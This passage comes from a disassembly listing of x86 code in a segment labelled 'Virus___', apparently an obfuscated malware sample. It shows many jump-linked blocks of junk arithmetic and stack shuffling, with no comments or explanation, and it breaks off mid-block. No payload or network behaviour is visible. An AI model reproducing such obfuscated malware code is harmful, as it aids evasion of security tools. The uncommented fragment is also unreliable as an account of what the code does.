		push	44AFh
		jmp	loc_5795B5
; ---------------------------------------------------------------------------


loc_5799FC:				; CODE XREF: Virus___:00575D2Ej
		mov	edi, 7C4244E9h
		add	esi, edi
		pop	edi
		push	edi
		mov	edi, 81847EEFh
		sub	esi, edi
		pop	edi
		mov	ecx, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_57D246
; ---------------------------------------------------------------------------


loc_579A21:				; CODE XREF: Virus___:005747F2j
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_579A2A:				; CODE XREF: Virus___:0057ACC5j
		push	ecx
		mov	ecx, esi
		jmp	loc_577C66
; ---------------------------------------------------------------------------


loc_579A32:				; CODE XREF: Virus___:0057E9CBj
		add	edi, 4
		add	edi, 2
		jmp	loc_57ACCA
; ---------------------------------------------------------------------------


loc_579A43:				; CODE XREF: Virus___:0057D5F5j
		add	esp, 4


loc_579A49:				; CODE XREF: Virus___:00573BD6j
		push	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_573EE9
; ---------------------------------------------------------------------------


loc_579A55:				; CODE XREF: Virus___:00574F6Bj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		jmp	loc_574E02
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_57B8A5
; ---------------------------------------------------------------------------


loc_579A74:				; CODE XREF: Virus___:0057A8CEj
		pop	ecx
		add	eax, 3BF7BD1h
		jmp	loc_579BA8
; ---------------------------------------------------------------------------


loc_579A7F:				; CODE XREF: Virus___:00573FAFj
		mov	ecx, 38h
		add	ecx, edi
		jmp	loc_575826
; ---------------------------------------------------------------------------


loc_579A8B:				; CODE XREF: Virus___:0057B9CBj
		push	ebp
		pop	ebx
		jmp	loc_57CF7A
; ---------------------------------------------------------------------------


loc_579A92:				; CODE XREF: Virus___:0057ECAEj
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_579B90
; ---------------------------------------------------------------------------


loc_579A9D:				; CODE XREF: Virus___:0057A0E6j
		mov	[esp], eax
		mov	eax, 8746192h
		jmp	loc_57CBA5
; ---------------------------------------------------------------------------


loc_579AAA:				; CODE XREF: Virus___:00576477j
		pop	ebp
		jmp	loc_579BBE
; ---------------------------------------------------------------------------


loc_579AB0:				; CODE XREF: Virus___:00577030j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_579AC3:				; CODE XREF: Virus___:00579565j
		pop	esp
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_57E342
; ---------------------------------------------------------------------------


loc_579ACF:				; CODE XREF: Virus___:00575234j
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_578163
; ---------------------------------------------------------------------------


loc_579ADF:				; CODE XREF: Virus___:0057612Ej
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_574267
; ---------------------------------------------------------------------------


loc_579AED:				; CODE XREF: Virus___:0057D4DAj
		push	eax
		mov	eax, 4
		sub	edi, eax
		jmp	loc_579E40
; ---------------------------------------------------------------------------


loc_579AFA:				; CODE XREF: Virus___:00575B44j
		sub	dh, 30h
		jmp	near ptr unk_573C3B
; ---------------------------------------------------------------------------


loc_579B02:				; CODE XREF: Virus___:0057A452j
		add	ecx, edx
		jmp	loc_57D380
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_57E680
; ---------------------------------------------------------------------------


loc_579B11:				; CODE XREF: Virus___:0057DEBCj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_576D07
; ---------------------------------------------------------------------------


loc_579B22:				; CODE XREF: Virus___:00576B59j
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		sub	bl, 6Ch
		sub	esp, 2
		mov	[esp], ax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5794B3
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	esi
		mov	esi, esp
		jmp	loc_57EC51
; ---------------------------------------------------------------------------


loc_579B5C:				; CODE XREF: Virus___:00577DB4j
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_579B6A:				; CODE XREF: Virus___:0057AB02j
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_57E3E4
; ---------------------------------------------------------------------------


loc_579B77:				; CODE XREF: Virus___:005777F8j
		pop	ebp
		jmp	loc_579227
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	62E3h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_575B7B
; ---------------------------------------------------------------------------


loc_579B90:				; CODE XREF: Virus___:00579A98j
		add	esp, 4
		push	eax
		push	75F3h
		jmp	loc_574CA4
; ---------------------------------------------------------------------------


loc_579BA1:				; CODE XREF: Virus___:00578248j
		sub	ebp, ecx
		jmp	loc_57BB4E
; ---------------------------------------------------------------------------


loc_579BA8:				; CODE XREF: Virus___:00579A7Aj
		add	eax, ebp
		sub	eax, 3BF7BD1h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_57629A
; ---------------------------------------------------------------------------


loc_579BBE:				; CODE XREF: Virus___:00579AABj
		movzx	ax, byte ptr [eax]
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_576DEA
; ---------------------------------------------------------------------------


loc_579BCC:				; CODE XREF: Virus___:0057BFABj
		pop	eax
		push	1D7Dh
		mov	[esp], eax
		jmp	loc_578278
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_579BE9:				; CODE XREF: Virus___:0057E7ABj
		mov	[esp], eax
		push	esp
		pop	eax
		push	ecx
		push	edx
		mov	edx, 0D3D142Ch
		mov	ecx, edx
		pop	edx
		dec	ecx
		jmp	loc_57667A
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		push	edi
		jmp	loc_57B8B6
; ---------------------------------------------------------------------------


loc_579C16:				; CODE XREF: Virus___:0057CF29j
		add	[esp+4], edx
		sub	dword ptr [esp+4], 68A95BD0h
		pop	edx
		push	dword ptr [esp]
		pop	esi
		jmp	loc_57E323
; ---------------------------------------------------------------------------


loc_579C2C:				; CODE XREF: Virus___:005784FCj
		xor	edx, 4D56633Fh
		sub	ebp, edx
		pop	edx
		pop	ebx
		jmp	loc_57E93F
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	eax
		jmp	loc_57A303
; ---------------------------------------------------------------------------


loc_579C5E:				; CODE XREF: Virus___:00573766j
		mov	dl, 37h
		sub	dl, 39h
		dec	dl
		jmp	loc_57594D
; ---------------------------------------------------------------------------


loc_579C6A:				; CODE XREF: Virus___:00575EA9j
		mov	[esp], eax
		jmp	loc_57ECF2
; ---------------------------------------------------------------------------
		lodsd
		push	ecx
		jmp	loc_577260
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_57D1EB
; ---------------------------------------------------------------------------


loc_579C8B:				; CODE XREF: Virus___:005738FFj
		inc	edx
		push	ebx
		mov	ebx, 96A2E60h
		jmp	loc_57E7B0
; ---------------------------------------------------------------------------


loc_579C97:				; CODE XREF: Virus___:005746E7j
		push	dword ptr [esp]
		pop	edi
		push	edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	esi
		jmp	loc_57B904
; ---------------------------------------------------------------------------


loc_579CAD:				; CODE XREF: Virus___:0057A468j
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	dword ptr [esp], 37AF6B81h
		push	eax
		mov	eax, 32A15466h
		sub	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		sub	[esp], eax
		sub	esp, 4
		jmp	loc_5754DD
; ---------------------------------------------------------------------------


loc_579CDF:				; CODE XREF: Virus___:0057C425j
		not	ebx
		xor	edx, ebx
		xor	ebx, edx
		xor	edx, ebx
		shl	edx, 4
		and	edx, 11D81B76h
		push	ecx
		push	eax
		mov	eax, 61641B59h
		mov	ecx, eax
		pop	eax
		sub	edx, ecx
		pop	ecx
		xor	edx, 0AEB3FDD5h
		add	ebx, edx
		pop	edx
		push	ebx
		jmp	loc_57ABDF
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_579D14:				; CODE XREF: Virus___:0057F050j
		mov	[esp], edx
		mov	edx, 3CDF59C2h
		xor	ecx, edx
		mov	edx, [esp]
		jmp	loc_5798DB
; ---------------------------------------------------------------------------


loc_579D26:				; CODE XREF: Virus___:00578DECj
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	5717h
		mov	[esp], ebp
		push	4801h
		jmp	loc_57C814
; ---------------------------------------------------------------------------


loc_579D41:				; CODE XREF: Virus___:00573078j
		push	edx
		push	ecx
		mov	cl, 0B7h
		dec	cl
		shl	cl, 1
		or	cl, 0E8h
		dec	cl
		add	cl, 0E2h
		mov	dl, cl
		pop	ecx
		neg	dl
		neg	dl
		neg	dl
		shl	dl, 5
		add	dl, 0E5h
		mov	cl, dl
		jmp	loc_578DAC
; ---------------------------------------------------------------------------


loc_579D67:				; CODE XREF: Virus___:005759C3j
		sub	esi, 4
		jmp	loc_57D2F8
; ---------------------------------------------------------------------------


loc_579D72:				; CODE XREF: Virus___:00576370j
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 6A6F454Eh
		push	ecx
		mov	ecx, 9DC7B48h
		sub	ecx, 758F51F9h
		shr	ecx, 1
		dec	ecx
		jmp	loc_573AAF
; ---------------------------------------------------------------------------


loc_579D94:				; CODE XREF: Virus___:005743ACj
		push	edi
		jmp	loc_57C903
; ---------------------------------------------------------------------------


loc_579D9A:				; CODE XREF: Virus___:00574C3Fj
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_57BC26
; ---------------------------------------------------------------------------


loc_579DB4:				; CODE XREF: Virus___:00573744j
		mov	esi, esp
		jmp	loc_57DFC0
; ---------------------------------------------------------------------------


loc_579DBB:				; CODE XREF: Virus___:0057E244j
		not	word ptr [esp]
		pop	bx
		xor	[esp], bx
		xor	bx, [esp]
		xor	[esp], bx
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_579DD2:				; CODE XREF: Virus___:0057AF4Ej
		pop	ebp
		push	eax
		mov	eax, 34A00014h
		or	eax, 13592A48h
		push	ebx
		mov	ebx, 2F310DE6h
		xor	ebx, 5A5830D7h
		xor	eax, ebx
		jmp	loc_573AFA
; ---------------------------------------------------------------------------
		db 0ACh, 51h, 0B5h
		dd 0AD65E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_579DFA:				; CODE XREF: Virus___:00576765j
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 4000h
		and	eax, ebx
		jmp	loc_577761
; ---------------------------------------------------------------------------


loc_579E10:				; CODE XREF: Virus___:0057CE77j
		sub	cl, ah
		add	cl, 59h
		jmp	loc_5797A8
; ---------------------------------------------------------------------------


loc_579E1A:				; CODE XREF: Virus___:005793A4j
		mov	bh, 29h
		add	bh, cl
		pop	ecx
		xor	bh, dh
		pop	edx
		sub	cl, bh
		pop	ebx
		add	cl, 87h
		jmp	loc_574027
; ---------------------------------------------------------------------------


loc_579E2D:				; CODE XREF: Virus___:0057BBDFj
		push	ebp
		mov	ebp, 2C761F06h
		sub	ebp, 207A488h
		xor	edx, ebp
		jmp	loc_57B936
; ---------------------------------------------------------------------------


loc_579E40:				; CODE XREF: Virus___:00579AF5j
		mov	eax, [esp]
		add	esp, 4
		xor	edi, [esp]
		jmp	loc_577692
; ---------------------------------------------------------------------------


loc_579E4E:				; CODE XREF: Virus___:005795B8j
		mov	bl, 8
		jmp	loc_57D376
; ---------------------------------------------------------------------------


loc_579E55:				; CODE XREF: Virus___:00578838j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_573DAF
; ---------------------------------------------------------------------------


loc_579E61:				; CODE XREF: Virus___:005755E6j
		add	esi, ecx
		pop	ecx
		jmp	loc_575516
; ---------------------------------------------------------------------------


loc_579E69:				; CODE XREF: Virus___:00577D40j
		mov	[esp], ecx
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_579129
; ---------------------------------------------------------------------------


loc_579E87:				; CODE XREF: Virus___:0057BD88j
		shr	ebx, 6
		neg	ebx
		xor	ebx, 375B68A8h
		push	edi
		mov	edi, 69F3193Dh
		or	edi, 7AE56AC2h
		and	edi, 43D9438Bh
		or	edi, 37635E35h
		or	edi, 4DCA063Bh
		sub	edi, 3529160Dh
		sub	ebx, edi
		pop	edi
		xor	ebx, 0EB38FA78h
		add	eax, ebx
		pop	ebx
		add	ebx, eax
		pop	eax
		pop	edx
		xor	ebx, eax
		pop	eax


loc_579EC9:				; CODE XREF: Virus___:00579928j
		push	4CAFh
		mov	[esp], edi
		jmp	loc_57D519
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	eax
		mov	eax, 1B493EDFh
		jmp	loc_572B74
; ---------------------------------------------------------------------------


loc_579EF7:				; CODE XREF: Virus___:00578476j
		mov	edx, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_575FFD
; ---------------------------------------------------------------------------


loc_579F02:				; CODE XREF: Virus___:00579889j
		pop	esp
		or	eax, eax
		jz	loc_57D72E
		push	dword ptr [edi+1Ch]
		jmp	loc_573B9B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_576D45
; ---------------------------------------------------------------------------


loc_579F1C:				; CODE XREF: Virus___:0057C354j
		add	eax, 682370AEh
		jmp	loc_5765B3
; ---------------------------------------------------------------------------


loc_579F26:				; CODE XREF: Virus___:0057591Cj
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_57DCCD
; ---------------------------------------------------------------------------


loc_579F3B:				; CODE XREF: Virus___:0057EC0Aj
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_57DFA2
; ---------------------------------------------------------------------------


loc_579F62:				; CODE XREF: Virus___:00578BFFj
		mov	ebx, 248F494Bh
		or	ebx, 1ACA59E8h
		not	ebx
		dec	ebx
		and	ebx, 59A80DD8h
		neg	ebx
		xor	ebx, 21111510h
		mov	esi, ebx
		jmp	loc_57C75F
; ---------------------------------------------------------------------------


loc_579F85:				; CODE XREF: Virus___:0057887Cj
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_572D77
; ---------------------------------------------------------------------------


loc_579F98:				; CODE XREF: Virus___:0057778Aj
		mov	[esp], ecx
		push	5C4Ch
		mov	[esp], eax
		sub	dword ptr [esp], 532F3A95h
		pop	ecx
		add	ecx, 532F3A95h
		mov	edx, ecx
		pop	ecx
		jmp	loc_5743D4
; ---------------------------------------------------------------------------


loc_579FB9:				; CODE XREF: Virus___:00575401j
		mov	edx, esp
		jmp	loc_577AFF
; ---------------------------------------------------------------------------


loc_579FC0:				; CODE XREF: Virus___:0057502Aj
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_57986F
; ---------------------------------------------------------------------------


loc_579FCC:				; CODE XREF: Virus___:00574DB9j
		xor	bh, cl
		pop	ecx
		jmp	loc_57EEDF
; ---------------------------------------------------------------------------


loc_579FD4:				; CODE XREF: Virus___:0057AB76j
		pop	dword ptr [esp]
		pop	esp
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	ebp
		mov	ebp, 10B645C3h
		push	ebx
		push	13E17CD6h
		pop	ebx
		jmp	loc_57D1E3
; ---------------------------------------------------------------------------


loc_579FFF:				; CODE XREF: Virus___:00577F1Cj
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 7F9F05B1h
		or	ebp, 0DD9351Dh
		xor	ebp, 228639FCh
		jmp	loc_57B46A
; ---------------------------------------------------------------------------


loc_57A018:				; CODE XREF: Virus___:0057EAF4j
		and	ebx, 30F612FCh
		sub	ebx, 132B7F6Dh
		xor	ebx, 130DFBF1h
		mov	esi, ebx
		jmp	loc_57E9D0
; ---------------------------------------------------------------------------


loc_57A031:				; CODE XREF: Virus___:0057E0C0j
		mov	edx, eax
		jmp	loc_573ECB
; ---------------------------------------------------------------------------


loc_57A038:				; CODE XREF: Virus___:005745B5j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_57C888
; ---------------------------------------------------------------------------


loc_57A046:				; CODE XREF: Virus___:0057BB64j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		add	[esp], eax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_57BC6B
; ---------------------------------------------------------------------------


loc_57A05F:				; CODE XREF: Virus___:00573015j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_575300
; ---------------------------------------------------------------------------


loc_57A068:				; CODE XREF: Virus___:00576481j
		push	esp
		pop	esi
		jmp	loc_575039
; ---------------------------------------------------------------------------


loc_57A06F:				; CODE XREF: Virus___:00575446j
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_578F13
; ---------------------------------------------------------------------------


loc_57A07D:				; CODE XREF: Virus___:0057B4A8j
		xor	esi, 0E7B19B3h
		add	esi, 741E3B63h
		xor	esi, 0C085ED8Bh
		shr	esi, 4
		and	esi, 3107489h
		xor	esi, 3C855DF4h
		sub	eax, 49BF663Ah
		sub	eax, esi
		add	eax, 49BF663Ah
		pop	esi
		push	ebx
		mov	ebx, 26A30527h
		shr	ebx, 3
		push	edi
		jmp	loc_57DC18
; ---------------------------------------------------------------------------


loc_57A0BA:				; CODE XREF: Virus___:005760D8j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_574942
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_57D9D5
; ---------------------------------------------------------------------------


loc_57A0D4:				; CODE XREF: Virus___:00576729j
		mov	bl, 0F2h
		jmp	loc_57C4AC
; ---------------------------------------------------------------------------


loc_57A0DB:				; CODE XREF: Virus___:0057926Ej
		pop	esi
		jmp	loc_5773F2
; ---------------------------------------------------------------------------


loc_57A0E1:				; CODE XREF: Virus___:0057DA88j
		push	4F64h
		jmp	loc_579A9D
; ---------------------------------------------------------------------------


loc_57A0EB:				; CODE XREF: Virus___:00574078j
		sub	edx, 22EF4854h
		pop	edi
		xchg	edx, [esp]
		pop	esp
		and	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_577A38
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 20h
		add	eax, 2AE01C3h
		push	ecx
		mov	ecx, 16B62C43h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 37FC5ED6h
		add	eax, edi
		sub	eax, 37FC5ED6h
		push	ebp
		mov	ebp, 53780FACh
		add	ebp, 6CBD1E48h
		shl	ebp, 2
		dec	ebp
		shl	ebp, 5
		push	ebx
		mov	ebx, 2C96562Ah
		jmp	loc_575971
; ---------------------------------------------------------------------------


loc_57A154:				; CODE XREF: Virus___:0057B668j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_57883D
; ---------------------------------------------------------------------------


loc_57A15D:				; CODE XREF: Virus___:0057CCB2j
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_574FED
; ---------------------------------------------------------------------------


loc_57A16C:				; CODE XREF: Virus___:00573360j
		push	ebx
		push	ecx
		mov	ecx, 360B587Eh
		add	ecx, 2B31345Ch
		add	ecx, 353CB886h
		mov	ebx, ecx
		pop	ecx
		mov	ecx, ebx
		jmp	loc_57C0D0
; ---------------------------------------------------------------------------


loc_57A189:				; CODE XREF: Virus___:0057BD6Fj
		sub	ebx, 2B655C17h
		add	ebx, ecx
		add	ebx, 2B655C17h
		pop	ecx
		sub	ebx, 7AA37185h
		push	dword ptr [eax]
		jmp	loc_57B420
; ---------------------------------------------------------------------------


loc_57A1A5:				; CODE XREF: Virus___:0057B6FEj
		xor	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, esi
		pop	esi
		push	eax
		mov	eax, 4DB61632h
		sub	ebx, eax
		pop	eax
		jmp	loc_57BC04
; ---------------------------------------------------------------------------


loc_57A1C2:				; CODE XREF: Virus___:00577C67j
		mov	eax, ecx
		mov	ebx, eax
		pop	eax
		pop	ecx
		pop	esi
		mov	ebp, ebx
		pop	ebx
		add	esi, ebp
		jmp	loc_5755C6
; ---------------------------------------------------------------------------


loc_57A1D3:				; CODE XREF: Virus___:00577E5Bj
		add	eax, esi
		pop	esi
		add	eax, 4
		push	6539h
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_5736B1
; ---------------------------------------------------------------------------


loc_57A1ED:				; CODE XREF: Virus___:00579132j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	5CFFh
		mov	[esp], ebp
		mov	ebp, 78964C8Eh
		jmp	loc_57B2EB
; ---------------------------------------------------------------------------


loc_57A214:				; CODE XREF: Virus___:0057EBC6j
		mov	eax, 4CD609EAh
		shl	eax, 6
		neg	eax
		xor	eax, 0CA7D8584h
		sub	esi, 35FA5573h
		add	esi, eax
		add	esi, 35FA5573h
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 0C93E49F0h
		sub	ebp, ecx
		jmp	loc_57A350
; ---------------------------------------------------------------------------


loc_57A246:				; CODE XREF: Virus___:0057982Bj
		mov	[esp], esi
		jmp	loc_57E2BB
; ---------------------------------------------------------------------------


loc_57A24E:				; CODE XREF: Virus___:0057631Fj
		pop	edx
		pop	esi
		or	edx, 1D2C21FFh
		shr	edx, 6
		sub	edx, 2F7F803h
		jmp	loc_5738D9
; ---------------------------------------------------------------------------


loc_57A264:				; CODE XREF: Virus___:0057B16Fj
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_57DB7C
; ---------------------------------------------------------------------------


loc_57A270:				; CODE XREF: Virus___:00576D02j
		pop	ebx
		jmp	loc_5778D9
; ---------------------------------------------------------------------------


loc_57A276:				; CODE XREF: Virus___:00574E1Fj
		xor	edi, [esp]
		jmp	loc_57D897
; ---------------------------------------------------------------------------


loc_57A27E:				; CODE XREF: Virus___:00575C0Bj
		push	ebx
		mov	ebx, 1AB64BBAh
		or	ebx, 5154782Dh
		add	ebx, 0FF57D9CFh
		add	ecx, ebx
		pop	ebx
		jmp	loc_573169
; ---------------------------------------------------------------------------


loc_57A298:				; CODE XREF: Virus___:0057D58Bj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_57734C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		add	dword ptr [esp], 72417AB4h
		push	dword ptr [esp]
		jmp	loc_57D568
; ---------------------------------------------------------------------------


loc_57A2B8:				; CODE XREF: Virus___:0057E148j
		sub	bh, cl
		add	bh, 0DAh
		push	ax
		push	edx
		jmp	loc_576E05
; ---------------------------------------------------------------------------


loc_57A2C5:				; CODE XREF: Virus___:0057D819j
		add	eax, ebx
		push	7529h
		jmp	loc_578A50
; ---------------------------------------------------------------------------


loc_57A2D1:				; CODE XREF: Virus___:0057C5D9j
		add	[esp+8], edx
		pop	edx
		mov	edx, [esp]
		jmp	loc_57EDBE
; ---------------------------------------------------------------------------


loc_57A2DE:				; CODE XREF: Virus___:00572F3Dj
		sub	ebx, 2C93FA16h
		sub	ebp, 2BE381Ch
		add	ebp, 9172F0Ah
		sub	ebp, 250F0686h
		sub	ebp, ebx
		add	ebp, 250F0686h
		jmp	loc_577E4D
; ---------------------------------------------------------------------------


loc_57A303:				; CODE XREF: Virus___:00579C59j
		push	esp
		pop	eax
		jmp	loc_5742E6
; ---------------------------------------------------------------------------


loc_57A30A:				; CODE XREF: Virus___:0057DF2Ej
		xor	ecx, eax
		push	28Eh
		mov	[esp], edx
		mov	edx, ebx
		push	edx
		add	dword ptr [esp], 1C647B41h
		pop	eax
		sub	eax, 1C647B41h
		jmp	loc_5747F7
; ---------------------------------------------------------------------------


loc_57A329:				; CODE XREF: Virus___:005772D0j
		pop	ecx
		push	esi
		jmp	loc_57BD94
; ---------------------------------------------------------------------------


loc_57A330:				; CODE XREF: Virus___:005778C8j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_576C70
; ---------------------------------------------------------------------------


loc_57A33E:				; CODE XREF: Virus___:0057E558j
		neg	edx
		shl	edx, 4
		xor	edx, 2509E553h
		add	edi, edx
		jmp	loc_5737FE
; ---------------------------------------------------------------------------


loc_57A350:				; CODE XREF: Virus___:0057A241j
		pop	ecx
		add	edx, ebp
		jmp	loc_57911B
; ---------------------------------------------------------------------------


loc_57A358:				; CODE XREF: Virus___:0057E777j
		mov	[esp], eax
		mov	eax, 56861419h
		add	[esp+4], eax
		pop	eax
		mov	eax, [esp]
		push	5DB2h
		jmp	loc_57DFD4
; ---------------------------------------------------------------------------


loc_57A372:				; CODE XREF: Virus___:005792D8j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		jmp	loc_576CB9
; ---------------------------------------------------------------------------


loc_57A382:				; CODE XREF: Virus___:0057601Dj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		jmp	loc_57489B
; ---------------------------------------------------------------------------


loc_57A39A:				; CODE XREF: Virus___:0057BE64j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_57E4CD
; ---------------------------------------------------------------------------


loc_57A3AE:				; CODE XREF: Virus___:0057BCC0j
		push	ecx
		mov	ch, 0C7h
		jmp	loc_5799EF
; ---------------------------------------------------------------------------


loc_57A3B6:				; CODE XREF: Virus___:0057D9F2j
		push	edx
		mov	dl, 2Ah
		mov	bl, 0C5h
		sub	bl, dl
		pop	edx
		xor	bl, 0F5h
		push	cx
		mov	ch, 0A8h
		xor	bl, ch
		pop	cx
		dec	bl
		not	bl
		xor	bl, 0E2h
		add	bl, 0D7h
		sub	al, bl
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	cl, 0BFh
		mov	dh, cl
		jmp	loc_57B2E1
; ---------------------------------------------------------------------------


loc_57A3E9:				; CODE XREF: Virus___:0057A4A0j
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_57ECCF
; ---------------------------------------------------------------------------


loc_57A3FF:				; CODE XREF: Virus___:0057CA85j
		push	ebx
		jmp	loc_573778
; ---------------------------------------------------------------------------


loc_57A405:				; CODE XREF: Virus___:00575CBBj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5730CA
; ---------------------------------------------------------------------------


loc_57A40E:				; CODE XREF: Virus___:00572F58j
		pop	esp
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_57E2C6
		push	4279h
		mov	[esp], edx
		mov	edx, 28h
		add	edx, edi
		push	ecx
		mov	ecx, 0
		push	eax
		mov	eax, 1AE60147h
		not	eax
		and	eax, 562402C3h
		neg	eax
		add	eax, 88A9125Ch
		sub	ecx, eax
		pop	eax
		add	ecx, 76EE28F9h
		add	ecx, 3E497E1Bh
		jmp	loc_579B02
; ---------------------------------------------------------------------------


loc_57A457:				; CODE XREF: Virus___:005764C8j
		pop	edi
		jmp	loc_579341
; ---------------------------------------------------------------------------


loc_57A45D:				; CODE XREF: Virus___:00579171j
		add	edi, eax
		add	edi, 456864DAh
		mov	eax, [esp]
		jmp	loc_579CAD
; ---------------------------------------------------------------------------


loc_57A46D:				; CODE XREF: Virus___:0057695Bj
		xor	ebp, 0C0279F3Ch
		mov	esi, ebp
		jmp	loc_57EA92
; ---------------------------------------------------------------------------


loc_57A47A:				; CODE XREF: Virus___:005746F8j
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_57CA09
; ---------------------------------------------------------------------------


loc_57A488:				; CODE XREF: Virus___:00577371j
		mov	dh, 0F5h
		add	bl, dh
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	ah, 0C4h
